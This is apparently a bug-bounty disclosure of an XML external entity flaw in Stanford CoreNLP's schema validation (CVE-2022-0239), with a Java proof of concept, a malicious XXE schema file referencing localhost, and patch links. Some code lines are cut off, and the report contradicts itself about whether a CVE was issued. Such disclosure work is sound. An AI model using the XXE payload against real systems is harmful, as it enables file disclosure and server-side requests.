Improper Restriction of XML External Entity Reference in stanfordnlp/corenlp

0

Valid Reported on Jan 14th 2022

Description

When a malicious schema XML file is passed to getValidatingXmlParser(), the parser is vulnerable to XXE when the SchemaFactory parses the schema XML file.
In
https://github.com/stanfordnlp/CoreNLP/blob/4c28eb5f5e44381b4157aa4fcab72e9231ce42b8/src/edu/stanford/nlp/util/XMLUtils.java#L304L305

```
public static DocumentBuilder getValidatingXmlParser(File schemaFile) {
...
SchemaFactory factory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHE
Schema schema = factory.newSchema(schemaFile);
```

SchemaFactory is created without FEATURE_SECURE_PROCESSING set, leaving it vulnerable to XXE when it creates a new schema from a schemaFile.

Proof of Concept

By default, SchemaFactory is vulnerable to XXE as shown by the example below:

```
import javax.xml.validation.SchemaFactory;
import javax.xml.validation.Schema;
import javax.xml.XMLConstants;

import java.io.File;

public class Poc {
```

```
    public static void main(String[] args) {
        try {
            SchemaFactory factory = SchemaFactory.newInstance(XMLConstants.

            Schema schema = factory.newSchema(new File("poc.xml"));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

poc.xml

```
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1/">]>
<foo>&xxe;</foo>
```

Patch

https://github.com/stanfordnlp/corenlp/compare/HEAD...haxatron:fix-xxe-2

Impact

This vulnerability is capable of XXE when a developer uses this function to validate XML files against malicious schema files

References

- https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#schemafactory

CVE
CVE-2022-0239
(Published)

Vulnerability Type
CWE-611: Improper Restriction of XML External Entity Reference

Severity
Medium (4.7)

Visibility
Public

Status
Fixed

Found by

haxatron
@haxatron
pro

Fixed by

haxatron
@haxatron
pro

This report was seen 511 times.

We are processing your report and will contact the **stanfordnlp/corenlp** team within 24 hours. 10 months ago

haxatron submitted a patch 10 months ago

haxatron modified the report 10 months ago

haxatron 10 months ago Researcher

Patch Fix:
https://github.com/Haxatron/CoreNLP/commit/6599d080547005d9755efadeb60a4b6be7313a92

haxatron modified the report 10 months ago

haxatron 10 months ago Researcher

New patch: https://github.com/stanfordnlp/corenlp/compare/HEAD...haxatron

haxatron modified the report 10 months ago

haxatron modified the report 10 months ago

We have contacted a member of the stanfordnlp/corenlp team and are waiting to hear back 10 months ago

A stanfordnlp/corenlp maintainer validated this vulnerability 10 months ago

haxatron has been awarded the disclosure bounty ✅

The fix bounty is now up for grabs

A stanfordnlp/corenlp maintainer marked this as fixed in 4.3.3 with commit 1940ff 10 months ago

haxatron has been awarded the fix bounty ✅

This vulnerability will not receive a CVE ❌

A stanfordnlp/corenlp maintainer 10 months ago Maintainer

Thanks!

Sign in to join this conversation